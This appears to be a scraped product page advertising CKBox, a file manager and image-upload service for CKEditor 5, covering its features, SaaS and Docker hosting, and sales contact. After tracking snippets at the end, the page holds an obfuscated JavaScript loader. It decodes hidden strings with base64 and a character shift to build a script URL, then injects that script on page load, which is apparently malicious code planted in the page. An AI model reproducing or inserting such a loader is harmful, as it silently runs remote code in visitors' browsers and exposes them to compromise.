File uploads in CKEditor
Made easy

Store and organize your files and images in CKBox, and use them easily in CKEditor 5.

A complete solution for handling images in CKEditor

  • Enables drag & drop uploads of images and other files directly into CKEditor 5
  • Enables pasting images from clipboard, pasting from Word and Google Docs into CKEditor
  • Comes with an intuitive Image Editor for cropping, resizing, or rotating
  • Allows for separating files and images per user, document or customer thanks to Workspaces.
  • Helps in reusing uploaded images and organizing files in multiple ways.
  • Solves delivering high quality responsive images via ultra-fast CDN.

A central file manager for everyone

On-premises solution for anyone looking for a self-hosted file manager.

SaaS solution for anyone looking for ready to use platform that requires no maintainance.

40 official translations to help your users around the world.

A universal file manager for everyone

  • Customizable categories and tags to organize your files and images.
  • Powerful search feature with multiple filters to ind quickly what you need.
  • Increase productivity: easily access recently used files, reuse alt text for images.
  • Accessibility matters: keyboard shortcuts for navigation, WAI-ARIA to support screen readers.
  • View your images and PDF documents in a high-resolution full-page preview.
  • Edit Images without having to launch dedicated software.
  • CRUD - create, rename, update and delete files and folders.

Administration made easy

Each CKBox installation comes with an administration panel visible only to the users you select.

A very optimized <picture>

CKBox makes it easy to use responsive images in your content. Improve SEO and increase conversion by making your site loading much faster.

All methods of uploading files supported by CKEditor 5 are available:

  • Save up to 90% of bandwith if your application does not support yet responsive images.
  • Save up to 34% of bandwith vs relying on responsive jpg/png images thanks to using the most modern formats of images.

Full control of your data

Can be run anywhere - Docker Image

  • Install anywhere you like - AWS, Azure, Google Cloud, or your own data center.
  • Run with any Open Container runtime tool e.g. Kubernetes, OpenShift, Podman, Docker and many others.
  • Choose your storage type - S3, Azure Blob Storage, MySQL, Postgres, local filesystem.
  • Scale simply by handling the service configuration and built-in mechanisms.

Save time and resources

With a SaaS subscription, we take care of everything important.

  • Managing the cloud infrastructure to keep it secure and up to date.
  • Performing regular backups of your files.
  • Serving assets via secure and blazing-fast CDN powered by AWS.
  • Automatic scaling according to your needs.
  • Ensuring maximum security and high availability.

Why CKBox?

If for any reason you would like to host CKBox by yourself, the on-premises version is also available.


Easily customize the colors of the interface with just two CSS variables; hue and saturation.

Rest API

Build custom automations using unrestricted access to the CKBox REST API.

Detailed (audit) logs

Track of all user actions with Insights panel. Gather, list and filter business (audit) logs.

CKBox works with your favorite frameworks

Native integrations save time and money during implementation.
CKBox supports the most popular frameworks and libraries.

Get started with CKBox now

Trusted and approved by

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = ''; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= ''+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });